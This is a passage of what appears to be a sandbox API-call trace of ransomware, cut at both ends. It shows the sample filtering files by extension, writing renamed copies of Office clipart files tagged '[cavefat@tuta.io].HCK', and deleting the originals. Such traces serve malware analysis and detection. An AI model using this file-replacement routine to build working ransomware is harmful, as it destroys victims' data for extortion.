(lpString=".jpg") returned 4 [0239.698] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0239.698] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.698] lstrlenW (lpString="J0168644.WMF") returned 12 [0239.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.699] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20906) returned 1 [0239.699] CloseHandle (hObject=0x4a0) returned 1 [0239.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 0x220 [0239.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.700] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.700] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.701] GetLastError () returned 0x0 [0239.701] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x51aa, lpOverlapped=0x0) returned 1 [0239.702] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0239.703] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.703] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.704] SetEndOfFile (hFile=0x378) returned 1 [0239.704] CloseHandle (hObject=0x378) returned 1 [0239.704] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.704] SetEndOfFile (hFile=0x4a0) returned 1 [0239.706] CloseHandle (hObject=0x4a0) returned 1 [0239.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0239.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".doc") returned 4 [0239.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".docx") returned 5 [0239.708] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0239.708] lstrlenW (lpString=".pdf") returned 4 [0239.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".xls") returned 4 [0239.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.708] lstrlenW (lpString=".xlsx") returned 5 [0239.708] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0239.708] lstrlenW (lpString=".ppt") returned 4 [0239.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".zip") returned 4 [0239.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.708] lstrlenW (lpString=".rar") returned 4 [0239.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".bz2") returned 4 [0239.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".7z") returned 3 [0239.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".dbf") returned 4 [0239.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".1cd") returned 4 [0239.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".jpg") returned 4 [0239.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".doc") returned 4 [0239.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".docx") returned 5 [0239.708] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0239.708] lstrlenW (lpString=".pdf") returned 4 [0239.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString=".xls") returned 4 [0239.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.708] lstrlenW (lpString=".xlsx") returned 5 [0239.708] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0239.708] lstrlenW (lpString=".ppt") returned 4 [0239.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.708] lstrlenW (lpString=".zip") returned 4 [0239.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.708] lstrlenW (lpString=".rar") returned 4 [0239.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.709] lstrlenW (lpString=".bz2") returned 4 [0239.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.709] lstrlenW (lpString=".7z") returned 3 [0239.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.709] lstrlenW (lpString=".dbf") returned 4 [0239.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.709] lstrlenW (lpString=".1cd") returned 4 [0239.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0239.709] lstrlenW (lpString=".jpg") returned 4 [0239.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.709] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.709] lstrlenW (lpString="J0171685.WMF") returned 12 [0239.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.710] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14472) returned 1 [0239.710] CloseHandle (hObject=0x4a0) returned 1 [0239.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 0x220 [0239.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.711] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.711] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.712] GetLastError () returned 0x0 [0239.712] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3888, lpOverlapped=0x0) returned 1 [0239.713] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3890, lpOverlapped=0x0) returned 1 [0239.714] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.714] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.714] SetEndOfFile (hFile=0x378) returned 1 [0239.715] CloseHandle (hObject=0x378) returned 1 [0239.715] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.715] SetEndOfFile (hFile=0x4a0) returned 1 [0239.717] CloseHandle (hObject=0x4a0) returned 1 [0239.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".doc") returned 4 [0239.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString=".docx") returned 5 [0239.968] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0239.968] lstrlenW (lpString=".pdf") returned 4 [0239.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString=".xls") returned 4 [0239.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.968] lstrlenW (lpString=".xlsx") returned 5 [0239.968] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0239.968] lstrlenW (lpString=".ppt") returned 4 [0239.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".zip") returned 4 [0239.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.968] lstrlenW (lpString=".rar") returned 4 [0239.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString=".bz2") returned 4 [0239.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString=".7z") returned 3 [0239.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".dbf") returned 4 [0239.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".1cd") returned 4 [0239.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".jpg") returned 4 [0239.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.968] lstrlenW (lpString=".doc") returned 4 [0239.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.968] lstrlenW (lpString=".docx") returned 5 [0239.969] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0239.969] lstrlenW (lpString=".pdf") returned 4 [0239.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString=".xls") returned 4 [0239.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.969] lstrlenW (lpString=".xlsx") returned 5 [0239.969] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0239.969] lstrlenW (lpString=".ppt") returned 4 [0239.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.969] lstrlenW (lpString=".zip") returned 4 [0239.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.969] lstrlenW (lpString=".rar") returned 4 [0239.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString=".bz2") returned 4 [0239.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString=".7z") returned 3 [0239.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.969] lstrlenW (lpString=".dbf") returned 4 [0239.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.969] lstrlenW (lpString=".1cd") returned 4 [0239.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0239.969] lstrlenW (lpString=".jpg") returned 4 [0239.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.969] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.969] lstrlenW (lpString="J0171847.WMF") returned 12 [0239.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.189] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6888) returned 1 [0240.189] CloseHandle (hObject=0x534) returned 1 [0240.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 0x220 [0240.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.191] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.191] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.192] GetLastError () returned 0x0 [0240.192] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1ae8, lpOverlapped=0x0) returned 1 [0240.193] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0240.194] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.194] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.194] SetEndOfFile (hFile=0x4c8) returned 1 [0240.194] CloseHandle (hObject=0x4c8) returned 1 [0240.195] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.195] SetEndOfFile (hFile=0x534) returned 1 [0240.196] CloseHandle (hObject=0x534) returned 1 [0240.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".doc") returned 4 [0240.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".docx") returned 5 [0240.198] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0240.198] lstrlenW (lpString=".pdf") returned 4 [0240.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".xls") returned 4 [0240.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.198] lstrlenW (lpString=".xlsx") returned 5 [0240.198] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0240.198] lstrlenW (lpString=".ppt") returned 4 [0240.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".zip") returned 4 [0240.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.198] lstrlenW (lpString=".rar") returned 4 [0240.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".bz2") returned 4 [0240.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".7z") returned 3 [0240.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".dbf") returned 4 [0240.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".1cd") returned 4 [0240.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".jpg") returned 4 [0240.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.198] lstrlenW (lpString=".doc") returned 4 [0240.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString=".docx") returned 5 [0240.199] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0240.199] lstrlenW (lpString=".pdf") returned 4 [0240.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString=".xls") returned 4 [0240.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.199] lstrlenW (lpString=".xlsx") returned 5 [0240.199] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0240.199] lstrlenW (lpString=".ppt") returned 4 [0240.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.199] lstrlenW (lpString=".zip") returned 4 [0240.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.199] lstrlenW (lpString=".rar") returned 4 [0240.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString=".bz2") returned 4 [0240.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString=".7z") returned 3 [0240.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.199] lstrlenW (lpString=".dbf") returned 4 [0240.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.199] lstrlenW (lpString=".1cd") returned 4 [0240.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0240.199] lstrlenW (lpString=".jpg") returned 4 [0240.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.199] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.199] lstrlenW (lpString="J0172035.WMF") returned 12 [0240.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 